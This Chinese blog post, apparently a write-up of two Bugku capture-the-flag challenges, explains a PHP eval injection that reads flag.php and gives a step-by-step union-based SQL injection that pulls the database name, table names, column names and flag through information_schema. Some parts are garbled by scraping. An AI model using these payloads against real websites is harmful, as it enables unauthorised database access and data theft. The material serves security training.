BUGKU 本地包含 成績單)

2021-09-29 02:12:39 字數 2227 閱讀 1740

在網頁中新建標籤頁開啟鏈結後出現以下一些php**,

下面解析這段**:

r eq

uest

這個變數

和_request這個變數和

r​eque

st這個

變數和_get、$_post一樣,都屬於超級全域性變數,執行時修改後者不會影響前者,修改後者不會影響前者。在這裡可以以get/post/cookies等方式把以hello為名的東西提交過來

eval函式是將字串當命令直接執行

最後一句show_source() 函式對檔案進行語法高亮顯示。

通過構造名字為hello的攻擊命令,把flag.php裡面的**以陣列形式輸出出來。

通過在url裡構造攻擊命令:?hello=file(「flag.php」)

在這裡file()函式的作用是讀取檔案,然後以陣列的形式返回

最後得到如下**塊

array(5) ; " [4]=> string(2) "?>" } <?php 

include "flag.php";

$a = @$_request['hello'];

eval( "var_dump($a);");

show_source(__file__);

?>

flag

ctrl+u 檢視源**,

輸入資料發現只有當1.2.3時有效,

用hackbar在id後面加英文的單引號,發現報錯

在單引號後面加注釋符號又恢復正常,

先查字段,剛才已經知道有三個資料,直接從4開始,order by 4#,發現返回正常,改為5之後,沒有回顯,說明有四個字段,

爆庫名,id=-1』 union select 1,2,3,4

把id變為-1是因為如果id有回顯的話,我們查詢的東西就不能顯示了,所以要換乙個id沒有東西的數值

知道他們出現的位置,接下來才是真的暴庫,

id=-1』 union select 1,database(),user(),version()#

得到資料庫名skctf_flag

然後暴表名(固定格式)

id=-1』 union select 1,group_concat(table_name),user(),version() from information_schema.tables where table_schema=database()#

得到兩個表名fl4g,sc

接下來就是暴列名了

id=-1』 union select 1,group_concat(column_name),user(),version() from information_schema.columns where table_name=『fl4g』#

取得列名為skctf_flag

最後查詢資料

id=-1』 union select 1,skctf_flag,user(),version() from fl4g#

得到flag bugku

注釋:

mysql在5.0版本後新增乙個叫information_schema的虛擬資料庫,其中儲存著關於mysql伺服器所維護的所有其他資料庫的資訊。如資料庫名,資料庫的表,表欄的資料型別與訪問權 限等。利用這個,我們可以獲取表名,列名等

查詢中用到的group_concat()函式是要把查詢的內容聯合到一起方便檢視的,這樣就不需要limit 0,1乙個乙個判斷了

Bugku 成績單 有感

題目位址 因為個人是個小白,看到題目毫無頭緒。在網上搜到wp,參考著得以理解。這個題目需要手動爆破資料庫的 庫名 表名 列名 內容。庫名 用資料庫聯合查詢語句 id 1 union select 1,2,3,database 得到資料庫名字skctf flag 表名 id 1 union selec...

bugku 成績單詳解

bugku 成績單詳解 首先開啟查詢成績的頁面 當你這樣去試了之後,就會發現當輸入id 1,2,3,的時候分別有三個孩子的成績,但是當id 4的時候,成績單裡面的成績又為空了。因此我們可以猜測資料庫裡面一共是有四列的 然後在此處利用內建函式database 爆破獲取資料庫的名字。此處可以看出資料庫的...

bugku本地包含

題目鏈結 include flag.php a request hello eval var dump a show source file include flag.php include 語句包含並執行指定檔案。request hello 通過 get,post 和 cookie 傳遞引數 ev...